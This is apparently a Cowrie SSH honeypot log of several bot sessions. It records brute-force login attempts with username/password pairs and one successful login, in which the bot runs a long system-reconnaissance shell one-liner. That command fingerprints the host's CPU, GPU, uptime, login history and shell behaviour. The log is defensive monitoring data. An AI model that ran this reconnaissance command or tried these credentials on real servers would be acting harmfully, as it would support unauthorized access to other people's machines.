{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:15.106586Z","src_ip":"143.20.185.207","session":"f40532e42461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS8VCPU32GBAMD","message":"login attempt [root/RASYAXINSAVPS8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:15.477008Z","src_ip":"143.20.185.207","session":"f40532e42461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:16.592667Z","src_ip":"143.20.185.207","session":"f40532e42461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":57890,"dst_ip":"10.17.0.5","dst_port":22,"session":"fae8f3a24cee","protocol":"ssh","message":"New connection: 97.74.6.204:57890 (10.17.0.5:22) [session: fae8f3a24cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:32.426687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:32.455560Z","src_ip":"97.74.6.204","session":"fae8f3a24cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:32.520079Z","src_ip":"97.74.6.204","session":"fae8f3a24cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exodusio","password":"exodus123","message":"login attempt [exodusio/exodus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:32.714220Z","src_ip":"97.74.6.204","session":"fae8f3a24cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:33.781652Z","src_ip":"97.74.6.204","session":"fae8f3a24cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54074,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63f080cbbbd","protocol":"ssh","message":"New connection: 91.92.40.176:54074 (10.17.0.5:22) [session: e63f080cbbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:27.312072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:27.316989Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:27.503859Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminroot","message":"login attempt [admin/adminroot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.007814Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.211073Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.213953Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.217022Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.220414Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.223288Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.227164Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.229968Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.232548Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.235455Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.239063Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.242506Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.333292Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:28.416840Z","src_ip":"91.92.40.176","session":"e63f080cbbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49974,"dst_ip":"159.203.135.109","dst_port":22,"session":"711eac0003f1","protocol":"ssh","message":"New connection: 103.27.238.116:49974 (159.203.135.109:22) [session: 711eac0003f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:32.172686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:32.176090Z","src_ip":"103.27.238.116","session":"711eac0003f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:32.435309Z","src_ip":"103.27.238.116","session":"711eac0003f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terminator1","message":"login attempt [root/terminator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:33.215206Z","src_ip":"103.27.238.116","session":"711eac0003f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":55120,"dst_ip":"10.17.0.5","dst_port":22,"session":"c81e7f5bb6aa","protocol":"ssh","message":"New connection: 162.214.159.200:55120 (10.17.0.5:22) [session: c81e7f5bb6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:34.008026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:34.013210Z","src_ip":"162.214.159.200","session":"c81e7f5bb6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:34.099677Z","src_ip":"162.214.159.200","session":"c81e7f5bb6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coq789","message":"login attempt [root/coq789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:34.351937Z","src_ip":"162.214.159.200","session":"c81e7f5bb6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:34.476626Z","src_ip":"103.27.238.116","session":"711eac0003f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:40.079184Z","src_ip":"162.214.159.200","session":"c81e7f5bb6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56776,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff7adb529a2","protocol":"ssh","message":"New connection: 103.27.238.120:56776 (10.17.0.5:22) [session: 7ff7adb529a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:46.197367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:46.200292Z","src_ip":"103.27.238.120","session":"7ff7adb529a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:46.460994Z","src_ip":"103.27.238.120","session":"7ff7adb529a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maga130891","message":"login attempt [root/maga130891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:30:47.247384Z","src_ip":"103.27.238.120","session":"7ff7adb529a2","protocol":"ssh"}
